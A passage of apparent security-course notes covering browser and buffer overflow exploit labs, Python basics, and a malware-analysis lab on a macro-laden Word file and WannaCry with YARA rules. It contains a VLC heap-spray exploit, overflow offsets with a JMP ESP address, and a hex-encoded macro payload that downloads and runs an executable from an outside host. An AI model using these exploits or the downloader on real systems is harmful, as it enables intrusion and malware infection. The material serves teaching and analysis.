4515 sock.connect((target, port))
4516 sock.sendall(buf)
4517except Exception as e:
4518 sys.stderr.write("Cannot send to "+str(target)+" : "+str(port)+" : "+str(e)+"!\n")
4519finally:
4520 sock.close()
4521 sys.stderr.write("Sent.\n")
4522
4523
4524
4525-----------------------------------------------------------------------------------------------------------------
4526
4527
4528
4529
4530How does all of this actually work
4531
4532
4533
4534
4535Total shellcode length: 315
4536
4537 Part1: 150
4538 Part2: 165
4539
4540
4541NOPS * (256 - 165)
4542
454391 NOPS + (165 bytes shellcode p2) + JMP ESP (4 bytes) + Stack Shift (-1000) + (150 bytes shellcode p1) + (neg jmp -380)
4544 | | |
4545 256 260 150 (410) |
4546 |<------------------------------------------------------------------------------------------------------------|
4547 Jump to the
4548 30 byte mark
4549
4550
4551
4552############################
4553# Lab 3: Browsers Exploits #
4554############################
4555
4556---------------------------Type This-----------------------------------
4557
4558cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab3\ffvlc_skeleton
4559-----------------------------------------------------------------------
4560
4561
4562Quicktime - overflow, if we send a very long rtsp:// URL, Quicktime crashes
4563rtsp://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA......50000
4564
4565<object id=quicktime clsid="999-999999-99-99999">
4566 <param name="URL" value="rtsp://AAAAAAAAAAAAAAAAAAAAAAAAA....">
4567</object>
4568
4569var buf = "";
4570for(i = 0; i < 50000; i++)
4571 buf += "A";
4572var myobject = document.getElementById("quicktime");
4573myobject.url = buf;
4574
4575YOU CAN PRE-LOAD THE PROCESS MEMORY MORE OR LESS IN A WAY YOU LIKE BEFORE TRIGGERING THE EXPLOIT!!!!
4576
4577- Browsers (Flash)
4578- PDF
4579- MS Office / OOo
4580
4581VLC smb:// exploit
4582------------------
4583
4584EXPLOIT VECTOR
4585
4586smb://example.com@0.0.0.0/foo/#{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}
4587
4588Exploit Scripts
4589- ffvlc
4590
4591ON YOUR HOST, RUN THE WEBSERVER ON PORT 8080
4592
4593---------------------------Type This-----------------------------------
4594
4595perl daemon.pl vlc0.html
4596-----------------------------------------------------------------------
4597
4598ON YOUR Strategicsec-XP-ED-Target-VM VM, START FIREFOX
4599Browse to http://your_host_ip_address:8080/
4600
4601vlc0.html
4602---------
4603<script>
4604 var buf = "";
4605 for(i = 0; i < 1250; i++)
4606 buf += unescape("%41%41%41%41");
4607 var track = "smb://example.com\@0.0.0.0/foo/#{" + buf + "}";
4608 document.write("<embed type='application/x-vlc-plugin' target='" + track + "' />");
4609</script>
4610
4611vlc1.html
4612---------
4613<script>
4614
4615 // shellcode created in heap memory
4616 var shellcode = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc");
4617
4618 // 800K block of NOPS
4619 var nop = unescape("%u9090%u09090"); // 4 NOPS
4620 while(nop.length < 0xc0000) {
4621 nop += nop;
4622 }
4623
4624 // spray the heap with NOP+shellcode
4625 var memory = new Array();
4626 for(i = 0; i < 50; i++) {
4627 memory[i] = nop + shellcode;
4628 }
4629
4630 // build the exploit payload
4631 var buf = "";
4632 for(i = 0; i < 1250; i++)
4633 buf += unescape("%41%41%41%41");
4634 var track = "smb://example.com\@0.0.0.0/foo/#{" + buf + "}";
4635
4636 // trigger the exploit
4637 document.write("<embed type='application/x-vlc-plugin' target='" + track + "' />");
4638</script>
4639
4640---------------------------Type This-----------------------------------
4641
4642perl daemon.pl vlc1.html
4643-----------------------------------------------------------------------
4644
4645Search for where our NOPS+shellcode lies in the heap
4646
4647s 0 l fffffff 90 90 90 90 cc cc cc cc
4648
46490:019> s 0 l fffffff 90 90 90 90 cc cc cc cc
465003dffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4651040ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4652043ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4653046ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4654049ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
465504cffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
465604fffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4657052ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4658055ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4659058ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
466005bffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
466105effffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4662061ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4663064ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4664067ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
466506affffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4666
4667Edit vlc2.html
4668replace %41%41%41%41 with %07%07%07%07
4669
4670(928.fd0): Break instruction exception - code 80000003 (first chance)
4671eax=fffffd66 ebx=07070707 ecx=77c2c2e3 edx=00340000 esi=07070707 edi=07070707
4672eip=07100000 esp=0e7afc58 ebp=07070707 iopl=0 nv up ei pl nz ac pe nc
4673cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
467407100000 cc int 3
46750:019> u
467607100000 cc int 3
467707100001 cc int 3
467807100002 cc int 3
467907100003 cc int 3
468007100004 cc int 3
468107100005 cc int 3
468207100006 cc int 3
468307100007 cc int 3
4684
4685Create vlc3.html (Copy vlc2.html to vlc3.html)
4686----------------------------------------------
4687Win32 Reverse Shell
4688- no restricted characters
4689- Encoder NONE
4690- use the Javascript encoded payload generated by msfweb
4691
4692##########################
4693# Python Lambda Function #
4694##########################
4695
4696
4697Python allows you to create anonymous function i.e function having no names using a facility called lambda function.
4698
4699lambda functions are small functions usually not more than a line. It can have any number of arguments just like a normal function. The body of lambda functions is very small and consists of only one expression. The result of the expression is the value when the lambda is applied to an argument. Also there is no need for any return statement in lambda function.
4700
4701Let’s take an example:
4702
4703Consider a function multiply()
4704
4705def multiply(x, y):
4706 return x * y
4707
4708
4709This function is too small, so let’s convert it into a lambda function.
4710
4711To create a lambda function first write keyword lambda followed by one of more arguments separated by comma, followed by colon sign ( : ), followed by a single line expression.
4712
4713---------------------------Type This-----------------------------------
4714
4715>>> r = lambda x, y: x * y
4716>>> r(12,3)
471736
4718-----------------------------------------------------------------------
4719
4720Here we are using two arguments x and y , expression after colon is the body of the lambda function. As you can see lambda function has no name and is called through the variable it is assigned to.
4721
4722You don’t need to assign lambda function to a variable.
4723
4724---------------------------Type This-----------------------------------
4725
4726>>> (lambda x, y: x * y)(3,4)
472712
4728-----------------------------------------------------------------------
4729
4730Note that lambda function can’t contain more than one expression.
4731
4732
4733
4734##################
4735# Python Classes #
4736##################
4737
4738
4739****************
4740* Introduction *
4741****************
4742
4743Classes are the cornerstone of Object Oriented Programming. They are the blueprints used to create objects. And, as the name suggests, all of Object Oriented Programming centers around the use of objects to build programs.
4744
4745You don't write objects, not really. They are created, or instantiated, in a program using a class as their basis. So, you design objects by writing classes. That means that the most important part of understanding Object Oriented Programming is understanding what classes are and how they work.
4746
4747
4748***********************
4749* Real World Examples *
4750***********************
4751
4752
4753This next part if going to get abstract. You can think of objects in programming just like objects in the real world. Classes are then the way you would describe those objects and the plans for what they can do.
4754
4755Start off by thinking about a web vuln scanner.
4756
4757What about what they can do? Nearly every web vuln scanner can do the same basic things, but they just might do them differently or at different speeds. You could then describe the actions that a vuln scanner can perform using functions. In Object Oriented Programming, though, functions are called methods.
4758
4759So, if you were looking to use "vuln scanner" objects in your program, you would create a "vuln scanner" class to serve as a blueprint with all of the variables that you would want to hold information about your "vuln scanner" objects and all of the methods to describe what you would like your vuln scanner to be able to do.
4760
4761
4762******************
4763* A Python Class *
4764******************
4765
4766
4767Now that you have a general idea of what a class is, it's best to take a look at a real Python class and study how it is structured.
4768
4769---------------------------Paste This-----------------------------------
4770
4771class WebVulnScanner(object):
4772 make = 'Acunetix'
4773 model = '10.5'
4774 year = '2014'
4775 version ='Consultant Edition'
4776
4777 profile = 'High Risk'
4778
4779
4780 def crawling(self, speed):
4781 print("Crawling at %s" % speed)
4782
4783
4784 def scanning(self, speed):
4785 print("Scanning at %s" % speed)
4786-----------------------------------------------------------------------
4787
4788
4789Creating a class looks a lot like creating a function. Instead of def you use the keyword, class. Then, you give it a name, just like you would a function. It also has parenthesis like a function, but they don't work the way you think. For a class the parenthesis allow it to extend an existing class. Don't worry about this right now, just understand that you have to put object there because it's the base of all other classes.
4790
4791From there, you can see a bunch of familiar things that you'd see floating around any Python program, variables and functions. There are a series of variables with information about the scanner and a couple of methods(functions) describing what the scanner can do. You can see that each of the methods takes two parameters, self and speed. You can see that "speed" is used in the methods to print out how fast the scanner is scanning, but "self" is different.
4792
4793
4794*****************
4795* What is Self? *
4796*****************
4797
4798Alright, so "self" is the biggest quirk in the way that Python handles Object Oriented Programming. In most languages, classes and objects are just aware of their variables in their methods. Python needs to be told to remember them. When you pass "self" to a method, you are essentially passing that object to its method to remind it of all of the variables and other methods in that object. You also need to use it when using variables in methods. For example, if you wanted to output the model of the scanner along with the speed, it looks like this.
4799
4800---------------------------Type This-----------------------------------
4801
4802print("Your %s is crawling at %s" % (self.model, speed))
4803-----------------------------------------------------------------------
4804
4805It's awkward and odd, but it works, and it's really not worth worrying about. Just remember to include "self" as the first parameter of your methods and "self." in front of your variables, and you'll be alright.
4806
4807
4808*****************
4809* Using A Class *
4810*****************
4811
4812
4813You're ready to start using the WebVulnScanner class. Create a new Python file and paste the class in. Below, you can create an object using it. Creating, or instantiating, an object in Python looks like the line below.
4814---------------------------Type This-----------------------------------
4815
4816myscanner = WebVulnScanner()
4817-----------------------------------------------------------------------
4818
4819
4820That's it. To create a new object, you just have to make a new variable and set it equal to class that you are basing your object on.
4821
4822Get your scanner object to print out its make and model.
4823---------------------------Type This-----------------------------------
4824
4825print("%s %s" % (myscanner.make, myscanner.model))
4826-----------------------------------------------------------------------
4827
4828The use of a . between an object and its internal components is called the dot notation. It's very common in OOP. It works for methods the same way it does for variables.
4829---------------------------Type This-----------------------------------
4830
4831myscanner.scanning('10req/sec')
4832-----------------------------------------------------------------------
4833
4834What if you want to change the profile of your scanning? You can definitely do that too, and it works just like changing the value of any other variable. Try printing out the profile of your scanner first. Then, change the profile, and print it out again.
4835---------------------------Type This-----------------------------------
4836
4837print("The profile of my scanner settings is %s" % myscanner.profile)
4838myscanner.profile = "default"
4839print("The profile of my scanner settings is %s" % myscanner.profile)
4840-----------------------------------------------------------------------
4841
4842Your scanner settings are default now. What about a new WebVulnScanner? If you made a new scanner object, would the scanning profile be default? Give it a shot.
4843---------------------------Type This-----------------------------------
4844
4845mynewscanner = WebVulnScanner()
4846print("The scanning profile of my new scanner is %s" % mynewscanner.profile)
4847-----------------------------------------------------------------------
4848
4849That one's high risk. New objects are copied from the class, and the class still says that the profile is high risk. Objects exist in the computer's memory while a program is running. When you change the values within an object, they are specific to that object as it exists in memory. The changes won't persist once the program stops and won't change the class that it was created from.
4850
4851
4852#########################################
4853# The self variable in python explained #
4854#########################################
4855
4856So lets start by making a class involving the self variable.
4857
4858A simple class :
4859
4860So here is our class:
4861---------------------------Paste This-----------------------------------
4862
4863class port(object):
4864 open = False
4865 def open_port(self):
4866 if not self.open:
4867 print("port open")
4868
4869-----------------------------------------------------------------------
4870
4871First let me explain the above code without the technicalities. First of all we make a class port. Then we assign it a property “open†which is currently false. After that we assign it a function open_port which can only occur if “open†is False which means that the port is open.
4872
4873Making a Port:
4874
4875Now that we have made a class for a Port, lets actually make a port:
4876---------------------------Type This-----------------------------------
4877
4878x = port()
4879-----------------------------------------------------------------------
4880
4881Now x is a port which has a property open and a function open_port. Now we can access the property open by typing:
4882---------------------------Type This-----------------------------------
4883
4884x.open
4885-----------------------------------------------------------------------
4886
4887The above command is same as:
4888---------------------------Type This-----------------------------------
4889
4890port().open
4891-----------------------------------------------------------------------
4892
4893Now you can see that self refers to the bound variable or object. In the first case it was x because we had assigned the port class to x whereas in the second case it referred to port(). Now if we have another port y, self will know to access the open value of y and not x. For example check this example:
4894---------------------------Type This-----------------------------------
4895
4896>>> x = port()
4897>>> x.open
4898False
4899>>> y = port()
4900>>> y.open = True
4901>>> y.open
4902True
4903>>> x.open
4904False
4905
4906-----------------------------------------------------------------------
4907The first argument of every class method, including init, is always a reference to the current instance of the class. By convention, this argument is always named self. In the init method, self refers to the newly created object; in other class methods, it refers to the instance whose method was called. For example the below code is the same as the above code.
4908
4909---------------------------Paste This-----------------------------------
4910
4911class port(object):
4912 open = False
4913 def open_port(this):
4914 if not this.open:
4915 print("port open")
4916
4917-----------------------------------------------------------------------
4918
4919
4920
4921
4922
4923
4924##################################
4925# Day 3 Homework videos to watch #
4926##################################
4927Here is your first set of youtube videos that I'd like for you to watch:
4928https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 21-30)
4929
4930
4931
4932
4933
4934
4935
4936
4937
4938
4939
4940
4941 #######################################
4942----------- ############### # Day 4: Malware analysis with Python # ############### -----------
4943 #######################################
4944
4945
4946###############################
4947# Lesson 28: Malware Analysis #
4948###############################
4949
4950
4951
4952
4953################
4954# The Scenario #
4955################
4956You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts).
4957
4958
4959The fastest thing you can do is perform static analysis.
4960---------------------------Type This-----------------------------------
4961
4962sudo pip install olefile
4963 infosecaddicts
4964
4965mkdir ~/Desktop/oledump
4966
4967cd ~/Desktop/oledump
4968
4969wget http://didierstevens.com/files/software/oledump_V0_0_22.zip
4970
4971unzip oledump_V0_0_22.zip
4972
4973wget http://45.63.104.73/064016.zip
4974
4975unzip 064016.zip
4976 infected
4977
4978python oledump.py 064016.doc
4979
4980python oledump.py 064016.doc -s A4 -v
4981-----------------------------------------------------------------------
4982
4983- From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
4984- Three of the data streams are flagged as macros: A3:’VBA/Module1′, A4:’VBA/Module2′, A5:’VBA/ThisDocument’.
4985
4986---------------------------Type This-----------------------------------
4987
4988python oledump.py 064016.doc -s A5 -v
4989-----------------------------------------------------------------------
4990
4991- As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical functions designed to confuse heuristic scanners.
4992
4993---------------------------Type This-----------------------------------
4994
4995python oledump.py 064016.doc -s A3 -v
4996 -----------------------------------------------------------------------
4997
4998- Look for "GVhkjbjv" and you should see:
4999
5000636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578653B
5001
5002- Take that long blob that starts with 636D and finishes with 653B and paste it in:
5003http://www.rapidtables.com/convert/number/hex-to-ascii.htm
5004
5005
5006
5007###################
5008# Static Analysis #
5009###################
5010
5011- After logging please open a terminal window and type the following commands:
5012---------------------------Type This-----------------------------------
5013
5014cd Desktop/
5015
5016wget http://45.63.104.73/wannacry.zip
5017
5018unzip wannacry.zip
5019 infected
5020
5021file wannacry.exe
5022
5023mv wannacry.exe malware.pdf
5024
5025file malware.pdf
5026
5027mv malware.pdf wannacry.exe
5028
5029hexdump -n 2 -C wannacry.exe
5030
5031-----------------------------------------------------------------------
5032
5033
5034
5035***What is '4d 5a' or 'MZ'***
5036Reference:
5037http://www.garykessler.net/library/file_sigs.html
5038
5039
5040
5041---------------------------Type This-----------------------------------
5042
5043
5044objdump -x wannacry.exe
5045
5046strings wannacry.exe
5047
5048strings --all wannacry.exe | head -n 6
5049
5050strings wannacry.exe | grep -i dll
5051
5052strings wannacry.exe | grep -i library
5053
5054strings wannacry.exe | grep -i reg
5055
5056strings wannacry.exe | grep -i key
5057
5058strings wannacry.exe | grep -i rsa
5059
5060strings wannacry.exe | grep -i open
5061
5062strings wannacry.exe | grep -i get
5063
5064strings wannacry.exe | grep -i mutex
5065
5066strings wannacry.exe | grep -i irc
5067
5068strings wannacry.exe | grep -i join
5069
5070strings wannacry.exe | grep -i admin
5071
5072strings wannacry.exe | grep -i list
5073
5074
5075
5076-----------------------------------------------------------------------
5077
5078
5079
5080
5081
5082
5083
5084
5085Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
5086
5087Quick Google search for "wannacry ransomeware analysis"
5088
5089
5090Reference
5091https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
5092
5093- Yara Rule -
5094
5095
5096Strings:
5097$s1 = “Ooops, your files have been encrypted!†wide ascii nocase
5098$s2 = “Wanna Decryptor†wide ascii nocase
5099$s3 = “.wcry†wide ascii nocase
5100$s4 = “WANNACRY†wide ascii nocase
5101$s5 = “WANACRY!†wide ascii nocase
5102$s7 = “icacls . /grant Everyone:F /T /C /Q†wide ascii nocase
5103
5104
5105
5106
5107
5108
5109
5110
5111Ok, let's look for the individual strings
5112
5113---------------------------Type This-----------------------------------
5114
5115
5116strings wannacry.exe | grep -i ooops
5117
5118strings wannacry.exe | grep -i wanna
5119
5120strings wannacry.exe | grep -i wcry
5121
5122strings wannacry.exe | grep -i wannacry
5123
5124strings wannacry.exe | grep -i wanacry **** Matches $s5, hmmm.....
5125
5126
5127-----------------------------------------------------------------------
5128
5129
5130
5131
5132
5133####################################
5134# Tired of GREP - let's try Python #
5135####################################
5136Decided to make my own script for this kind of stuff in the future. I
5137
5138Reference1:
5139http://45.63.104.73/analyse_malware.py
5140
5141This is a really good script for the basics of static analysis
5142
5143Reference:
5144https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
5145
5146
5147This is really good for showing some good signatures to add to the Python script
5148
5149
5150Here is my own script using the signatures (started this yesterday, but still needs work):
5151https://pastebin.com/guxzCBmP
5152
5153
5154---------------------------Type This-----------------------------------
5155
5156
5157sudo apt install -y python-pefile
5158 infosecaddicts
5159
5160
5161
5162wget https://pastebin.com/raw/guxzCBmP
5163
5164
5165mv guxzCBmP am.py
5166
5167
5168vi am.py
5169
5170python am.py wannacry.exe
5171
5172
5173-----------------------------------------------------------------------
5174
5175
5176
5177
5178
5179
5180
5181
5182##############
5183# Yara Ninja #
5184##############
5185 ---------------------------Type This-----------------------------------
5186
5187cd ~/Desktop
5188
5189sudo apt-get remove -y yara
5190 infosecaddcits
5191
5192sudo apt -y install libtool
5193 infosecaddicts
5194
5195wget https://github.com/VirusTotal/yara/archive/v3.6.0.zip
5196
5197
5198unzip v3.6.0.zip
5199
5200cd yara-3.6.0
5201
5202./bootstrap.sh
5203
5204./configure
5205
5206make
5207
5208sudo make install
5209 infosecaddicts
5210
5211yara -v
5212
5213cd ~/Desktop
5214
5215
5216-----------------------------------------------------------------------
5217
5218
5219NOTE:
5220McAfee is giving these yara rules - so add them to the hashes.txt file
5221
5222Reference:
5223https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
5224
5225----------------------------------------------------------------------------
5226rule wannacry_1 : ransom
5227{
5228 meta:
5229 author = "Joshua Cannell"
5230 description = "WannaCry Ransomware strings"
5231 weight = 100
5232 date = "2017-05-12"
5233
5234 strings:
5235 $s1 = "Ooops, your files have been encrypted!" wide ascii nocase
5236 $s2 = "Wanna Decryptor" wide ascii nocase
5237 $s3 = ".wcry" wide ascii nocase
5238 $s4 = "WANNACRY" wide ascii nocase
5239 $s5 = "WANACRY!" wide ascii nocase
5240 $s7 = "icacls . /grant Everyone:F /T /C /Q" wide ascii nocase
5241
5242 condition:
5243 any of them
5244}
5245
5246----------------------------------------------------------------------------
5247rule wannacry_2{
5248 meta:
5249 author = "Harold Ogden"
5250 description = "WannaCry Ransomware Strings"
5251 date = "2017-05-12"
5252 weight = 100
5253
5254 strings:
5255 $string1 = "msg/m_bulgarian.wnry"
5256 $string2 = "msg/m_chinese (simplified).wnry"
5257 $string3 = "msg/m_chinese (traditional).wnry"
5258 $string4 = "msg/m_croatian.wnry"
5259 $string5 = "msg/m_czech.wnry"
5260 $string6 = "msg/m_danish.wnry"
5261 $string7 = "msg/m_dutch.wnry"
5262 $string8 = "msg/m_english.wnry"
5263 $string9 = "msg/m_filipino.wnry"
5264 $string10 = "msg/m_finnish.wnry"
5265 $string11 = "msg/m_french.wnry"
5266 $string12 = "msg/m_german.wnry"
5267 $string13 = "msg/m_greek.wnry"
5268 $string14 = "msg/m_indonesian.wnry"
5269 $string15 = "msg/m_italian.wnry"
5270 $string16 = "msg/m_japanese.wnry"
5271 $string17 = "msg/m_korean.wnry"
5272 $string18 = "msg/m_latvian.wnry"
5273 $string19 = "msg/m_norwegian.wnry"
5274 $string20 = "msg/m_polish.wnry"
5275 $string21 = "msg/m_portuguese.wnry"
5276 $string22 = "msg/m_romanian.wnry"
5277 $string23 = "msg/m_russian.wnry"
5278 $string24 = "msg/m_slovak.wnry"
5279 $string25 = "msg/m_spanish.wnry"
5280 $string26 = "msg/m_swedish.wnry"
5281 $string27 = "msg/m_turkish.wnry"
5282 $string28 = "msg/m_vietnamese.wnry"
5283
5284
5285 condition:
5286 any of ($string*)
5287}
5288----------------------------------------------------------------------------
5289
5290
5291#######################
5292# External DB Lookups #
5293#######################
5294
5295Creating a malware database (sqlite)
5296---------------------------Type This-----------------------------------
5297
5298sudo apt install -y python-simplejson python-simplejson-dbg
5299 infosecaddicts
5300
5301
5302
5303wget https://raw.githubusercontent.com/mboman/mart/master/bin/avsubmit.py
5304
5305
5306
5307python avsubmit.py -f wannacry.exe -e
5308
5309----------------------------------------------------------------------------
5310
5311Analysis of the file can be found at:
5312http://www.threatexpert.com/report.aspx?md5=84c82835a5d21bbcf75a61706d8ab549
5313
5314
5315
5316
5317
5318
5319
5320
5321
5322###############################
5323# Creating a Malware Database #
5324###############################
5325Creating a malware database (mysql)
5326-----------------------------------
5327- Step 1: Installing MySQL database
5328- Run the following command in the terminal:
5329---------------------------Type This-----------------------------------
5330
5331sudo apt install -y mysql-server
5332 infosecaddicts
5333
5334- Step 2: Installing Python MySQLdb module
5335- Run the following command in the terminal:
5336
5337sudo apt-get build-dep python-mysqldb
5338 infosecaddicts
5339
5340sudo apt install -y python-mysqldb
5341 infosecaddicts
5342
5343Step 3: Logging in
5344Run the following command in the terminal:
5345
5346mysql -u root -p (set a password of 'malware')
5347
5348- Then create one database by running following command:
5349
5350create database malware;
5351
5352exit;
5353
5354wget https://raw.githubusercontent.com/dcmorton/MalwareTools/master/mal_to_db.py
5355
5356vi mal_to_db.py (fill in database connection information)
5357
5358python mal_to_db.py -i
5359
5360------- check it to see if the files table was created ------
5361
5362mysql -u root -p
5363 malware
5364
5365show databases;
5366
5367use malware;
5368
5369show tables;
5370
5371describe files;
5372
5373exit;
5374
5375-----------------------------------------------------------------------
5376
5377
5378- Now add the malicious file to the DB
5379---------------------------Type This-----------------------------------
5380
5381
5382python mal_to_db.py -f wannacry.exe -u
5383
5384-----------------------------------------------------------------------
5385
5386
5387- Now check to see if it is in the DB
5388--------------------------Type This-----------------------------------
5389
5390mysql -u root -p
5391 malware
5392
5393mysql> use malware;
5394
5395select id,md5,sha1,sha256,time FROM files;
5396
5397mysql> quit;
5398
5399-----------------------------------------------------------------------
5400
5401
5402
5403######################################
5404# PCAP Analysis with forensicPCAP.py #
5405######################################
5406---------------------------Type This-----------------------------------
5407
5408cd ~/Desktop
5409wget https://raw.githubusercontent.com/madpowah/ForensicPCAP/master/forensicPCAP.py
5410sudo easy_install cmd2
5411
5412python forensicPCAP.py Browser\ Forensics/suspicious-time.pcap
5413
5414ForPCAP >>> help
5415
5416
5417Prints stats about PCAP
5418ForPCAP >>> stat
5419
5420
5421Prints all DNS requests from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command.
5422ForPCAP >>> dns
5423
5424ForPCAP >>> show
5425
5426
5427Prints all destination ports from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command.
5428ForPCAP >>> dstports
5429
5430ForPCAP >>> show
5431
5432
5433Prints the number of ip source and store them.
5434ForPCAP >>> ipsrc
5435
5436
5437Prints the number of web's requests and store them
5438ForPCAP >>> web
5439
5440
5441Prints the number of mail's requests and store them
5442ForPCAP >>> mail
5443
5444-----------------------------------------------------------------------
5445
5446
5447
5448
5449
5450
5451##################################
5452# Day 4 Homework videos to watch #
5453##################################
5454Here is your first set of youtube videos that I'd like for you to watch:
5455https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 31-40)
5456
5457
5458
5459
5460
5461
5462
5463
5464
5465
5466 ##########################################
5467----------- ############### # Day 4: Debugger automation with Python # ############### -----------
5468 ##########################################
5469
5470In this lab we are going to exploit the bufferoverflow in the program which is a simple tcp server using the strcpy in its code. Download the server's .exe file from here http://code.securitytube.net/Server-Strcpy.exe
5471
5472Run the server on windows machine.
5473
5474Connect to the server from an ubuntu machine using nc <ip-adress of windows> 10000. Send some character from there and see if it returns the same.
5475
5476
5477
5478It's a simple echo server. Reflects whatever you type in the input we send to this program, is stored using strcpy. Let us write a simple python program that sends a large input to the program and see if it can handle large inputs.
5479---------------------------Type This-----------------------------------
5480
5481vim strcpy.py
5482
5483./strcpy <server adress>
5484
5485-----------------------------------------------------------------------
5486
5487
5488On the server machine see if the server crashes and what error it shows.
5489
5490Now let's find out what happens behind the scenes when you run the python script against your echo server. When you do not have the source code of the program that you need to debug, the only way to do so is to take the binary, disassemble and debug it to actually see what is happening. The immunity debugger is the tool which does all that.
5491
5492Open the server.exe file in immunity debugger. It will show information about the binary in different sections including Registers [EIP, ESP, EBP, etc], the machine language equivalent and addresses of the binary with their values.
5493
5494Now press the run button and the binary will be in the “Running†state. Execute the strcpy.py script as done previously. The binary will crash again and immunity debugger will show it in “Paused†State. It will also show the stack with its values and ASCII equivalent which is seen as “AAAA...†as all the characters sent from the script are As, as shown in the figure below.
5495
5496
5497We can also write python scripts using the python shell provided by the Immunity Debugger. The scripts we write here need to be placed in “C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands†directory, which will be automatically made available to immunity debugger at run-time.
5498
5499
5500Now open the python shell, Create “New Window†and save it as spse-demo in the PyCommands directory mentioned above.
5501
5502
5503
5504In order to leverage the rich set of APIs that Immunity provides, import the immlib which ships with the Immunity framework. At this instance write a simple script that simply prints hello in the main method. To run the script write the name of the script preceded by the exclamation mark e.g !spse-demo. You can also write to the Log window by:
5505imm.log(“Anything to logâ€)
5506
5507Now the problem with the debugger is that it prints all the messages at the end of the script execution, which is quite hectic if you are writing a long script which requires incremental updates. To serve the purpose use imm.updateLog() method so that the Log is updated instantly.
5508
5509Our command will also be visible in the List of PyCommands which are available in the Immunity.
5510
5511
5512To run a process we need to open the process in Immunity Debugger and run it as shown earlier, what if we want to run the same process programmatically.
5513
5514Create a new python script naming spse-pro.py similarly as in the previous example. Open the process by imm.openProcess(“path to the binaryâ€) e.g my binary was C:\Server-Strcpy.exe
5515
5516
5517Similarly, you can attach the Immunity Debugger to an already running process by the imm.Attach(pid) method.
5518
5519Now inside a running process we need to get a list of modules, and for each of these modules we need to get a set of properties like Name, Base Address, Entry Point, and Size of that process. Useful methods are getAllModules and its child methods which are elaborated in the Immunity's online documentation.
5520
5521
5522
5523
5524Now we will use the Immunity Debugger to actually exploit the buffer overflow.
5525
5526As we know the stack grows from high-memory to low-memory. When we send a large buffer to our program/binary the return address is over-written, the EIP ends up with a garbage value and the program crashed. The idea is to specially craft the buffer in a way to over-write the return address with a chosen value, which is the payload we want to execute on that machine.
5527
5528To start, we'll revisit our old python script and a metasploit utility patter_creat.rb to create a random pattern of 500 characters.
5529
5530
5531
5532Place this pattern in the python attack script, run the server in the Immunity, run the attack script. See that the binary has crashed and the EIP is populated with the value 6A413969. Now we need to find at which offset this value is in our pattern, pattern_offset.rb will server the purpose.
5533
5534
5535
5536From this we know the value from offset 268 precisely corrupts the EIP. Meaning we really don't care about the first 268 bytes of the buffer, what we need to focus is the return address.
5537
5538Now next to EIP there is ESP register, we will populate the ESP with our payload and place a jump ESP instruction in the EIP register. The OPCode for the JUMP ESP instruction is 71AB7BFB, which we will append to our buffer in reverse order, as the bytes are stored in reverse order in stack. For payload we use metsploit to generate our payload and encode it for x86 architecture. Following command will suffice
5539
5540---------------------------Type This-----------------------------------
5541
